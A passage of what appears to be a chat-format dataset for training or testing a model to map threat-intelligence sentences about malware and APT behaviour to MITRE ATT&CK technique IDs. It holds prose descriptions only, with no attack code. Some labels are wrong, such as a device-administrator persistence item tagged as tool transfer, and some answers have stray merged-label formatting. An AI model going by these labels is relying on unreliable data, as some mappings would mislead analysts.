                "role": "user",
                "content": "LitePower can use a PowerShell script to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "’s Java payload is encrypted with AES."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The main infection vector for Poseidon is the use of spear-phishing emails including RTF/DOC files, usually with a human resources lure. Poseidon’s toolkit displays an awareness of many antivirus providers over the years, attempting to attack or spoof these processes as a means of self-defense for their infections"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 12 and Figure 13 show the RSA keys used in FELIXROOT, and Figure 14 shows the AES encryption parameters"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used XOR with 0x90 to obfuscate its configuration file."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On February 12, 2018 at 16:45 (all times are in the organization’s local time), an email was sent to the organization advertising a job vacancy at an American global service provider. The email contained a malicious link to hxxp://mynetwork.ddns[DOT].net:880"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shamoon creates a new service named “ntssrv” to execute the payload. Shamoon can also spread via PsExec."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obtained OS version and hardware configuration from a victim."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OnionDuke uses HTTP and HTTPS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We found that a domain admin account was compromised and the Active Directory audit tool PingCastle was run. Using the domain admin, the actor was able to compromise several other accounts and execute malicious services and persistence mechanisms, namely SDBbot RAT Loaders"
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Backdoor.Oldrea can download additional modules from C2."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MoonWind installs itself as a new service with automatic startup to establish persistence. The service checks every 60 seconds to determine if the malware is running; if not, it will spawn a new instance."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DustySky collects information about running processes from victims."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA551 has distributed different families of malware, including Ursnif (Gozi/ISFB), Valak and IcedID. TA551 malspam spoofs legitimate email chains based on data retrieved from previously infected Windows hosts. This is a generic statement asking the recipient to open an attached ZIP archive using the supplied password. File names for the ZIP archives use the name of the company being spoofed in the email. For example, if the spoofed sender is someone@companyname.com, the ZIP attachment would be named companyname.zip. In 2020, we also started seeing emails with info.zip or request.zip as the attached ZIP archive names. These password-protected ZIP attachments contain a Word document with macros to install malware. File names for the extracted Word documents follow noticeable patterns that have evolved as this campaign has progressed. URLs generated by the associated Word macros also follow noticeable patterns that have also evolved as this campaign has progressed"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has created forged Kerberos Ticket Granting Ticket (TGT) and Ticket Granting Service (TGS) tickets to maintain administrative access."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MobileOrder starts by registering itself as device administrator so that a normal user cannot uninstall it by simply clicking “uninstall” in settings"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The final payload is a ZIP archive that is usually encrypted by the algorithm shown in Figure 8 and, in a significant number of cases, we saw it being password-protected as well"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "zwShell can modify the Registry."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay implements a decentralized way of storing these artifacts among the victim’s file system by using inline hooks applied on two Windows API functions, WriteFile and CloseHandle"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WarzoneRAT can use PowerShell to download files and execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ruler can be used to automate the abuse of Outlook Rules, Forms, and Home Pages to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EXOTIC LILY has used malicious documents containing exploits for CVE-2021-40444 affecting Microsoft MSHTML."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kasidet has the ability to search for a given process name in processes currently running in the system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once all the tasks have been executed completely, the malware breaks the loop, sends the termination buffer back, and clears all the footprints from the targeted machine:  Deletes the LNK file from the startup directory"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has used Windows built-in tool `ntdsutil` to extract the Active Directory (AD) database."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TYPEFRAME has used ports 443, 8080, and 8443 with a FakeTLS method."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM has been delivered via spearphishing attachments disguised as PDF documents."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this case, we can see the binary installation path and local reconnaissance to determine which flavor of Linux the malware is running. This is followed by a number of Linux shell command style commands related to the malware establishing persistence"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The main purpose of P8RAT is downloading and executing payloads (consisting of PE and shellcode) from its C2 server. However, we were unable to obtain any sample of the subsequent payloads for this malware"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lucifer has attempted to brute force TCP ports 135 (RPC) and 1433 (MSSQL) with the default username or list of usernames and    passwords."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 used RDP for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "jRAT can list and manage startup entries."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Boot or Logon Initialization Scripts: Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The domain fabianiarte.com (fabianiarte.it) was compromised to host backend server code and malicious DOTM files. This domain hosted DOTM files that were used to mimic defense contractors’ job profiles as observed in Operation North Star, but the domain also included some rudimentary backend server code that we suspect was used by the implant. According to our analysis of this cache of data this site was compromised to host code on 7/9/2020"
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IronNetInjector has used a task XML file named \"mssch.xml\" to run an IronPython script when a user logs in or when specific system events are created."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Smoke Loader not only installs its original sample but also replaces it with a fresh version, which is downloaded from the C&amp;C – path: http://&lt;CnC address&gt;/system32.exe. This trick makes detection more difficult – updated samples are repacked by a different crypter, may also have their set of C&amp;Cs changed"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly used remote access services, including VPN and Outlook Web Access (OWA)."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerLess is written in and executed via PowerShell without using powershell.exe."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Donut includes a subproject \"DonutTest\" to inject shellcode into a target process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADNEWS installs a registry Run key to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zeus Panda checks processes on the system and if they meet the necessary requirements, it injects into that process."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can download and deploy additional payloads, including ransomware and post-exploitation frameworks such as Cobalt Strike."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BITTER has used scheduled tasks for persistence and execution."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sidewinder has used tools to identify running processes on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By enabling this data connection, the user allows Excel to obtain content from the URL in the .iqy file. The contents within the releasenotes.txt file (SHA256: bf925f340920111b385078f3785f486fff1096fd0847b993892ff1ee3580fa9d) contains the following formula that Excel will save to the “A0” cell in the worksheet"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "P8RAT can download additional payloads to a target system."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OnionDuke steals credentials from its victims."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tarrask is able to create “hidden” scheduled tasks for persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NOKKI can delete files to cover tracks."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to obtain a directory listing."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can conduct an image hijack of an `.msc` file extension as part of its UAC bypass process."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When entered, these credentials are then sent to the C2 server, which allows DarkHydrus to collect the user account credentials"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "STARWHALE has stored collected data in a file called `stari.txt`."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can use Nltest tools to obtain information about the domain."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Doki was executed through an open Docker daemon API port."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "zwShell has deleted itself after creating a service as well as deleted a temporary file when the system reboots."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The document contains an encoded Visual Basic Script (VBScript) typical of previous Carbanak malware. Recent samples of the malware have now included the ability to use Google services for command-and-control (C&amp;C) communication. The module is base64 encoded inside the main VBScript file along with various other VBScript modules used by the malware. When we analyzed the script we noticed that it is capable of using Google services as a C&amp;C channel. Abusing Google for C&amp;C communication . The \"ggldr\" script will send and receive commands to and from Google Apps Script, Google Sheets, and Google Forms services. It is unlikely that these hosted Google services are blocked by default in an organization, so it is more likely that the attacker will establish a C&amp;C channel successfully. Upon the first attempt to contact the hard-coded Google Apps Script URL with the user's unique infection ID, the C&amp;C will state that no spreadsheet currently exists for the user. The malware will then send two requests to another hard-coded Google Forms URL which will result in the creation of unique Google Sheets spreadsheet and Google Form IDs for the victim. The second time the Google Apps Script is requested, the C&amp;C will return the unique Google Sheet and Google Form ID values: The \"entry\" value is also a unique ID which is sent with each subsequent Google Forms C&amp;C request. Using Google as an independent C&amp;C channel is likely to be more successful than using newly created domains or domains with no reputation"
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NotPetya determines if specific antivirus programs are running on an infected host machine."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All of the backdoors identified - excluding RoyalDNS - required APT15 to create batch scripts in order to install its persistence mechanism"
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The observed attack technique (OAT) detection indicates that the php-cgi process represents a “/bin/bash” shell”and is directly reading “passwd”, suggesting that the server might have been compromised"
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Denis queries the Registry for keys and values."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Caterpillar WebShell can gather a list of processes running on the machine."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  file stealer can run a TaskScheduler DLL to add persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emissary has the capability to execute the command \"net start\" to interact with services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has used a large-scale botnet to target Small Office/Home Office (SOHO) network devices."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Modify the shortcut that launches Telegram by replacing its path to the one corresponding to ‘exe’, as outlined below"
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 contains a module for exploiting SMB via EternalBlue."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT15 was also observed using Mimikatz to dump credentials and generate Kerberos golden tickets"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The original Microsoft Excel spreadsheet is copied into the %TEMP% directory - The embedded object “xl\\embeddings\\oleObject1[.]bin” inside the Microsoft Excel spreadsheet is copied into the %TEMP% directory - The DLL inside oleObject1.bin is extracted and copied into %APPDATA% by the “ReadAndWriteExtractedBinFile” function - The DLL is loaded with LoadLibraryA - The DLL’s exported function, such as “Get2”, is run by the macro"
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Much like the previous version of Reaver, Reaver.v3 will query the necessary registry keys to determine the correct startup path to use"
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM has initiated connections to external domains using HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET attempts to discover accounts from various locations such as a user's Evernote, AppleID, Telegram, Skype, and WeChat data."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to download a file."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
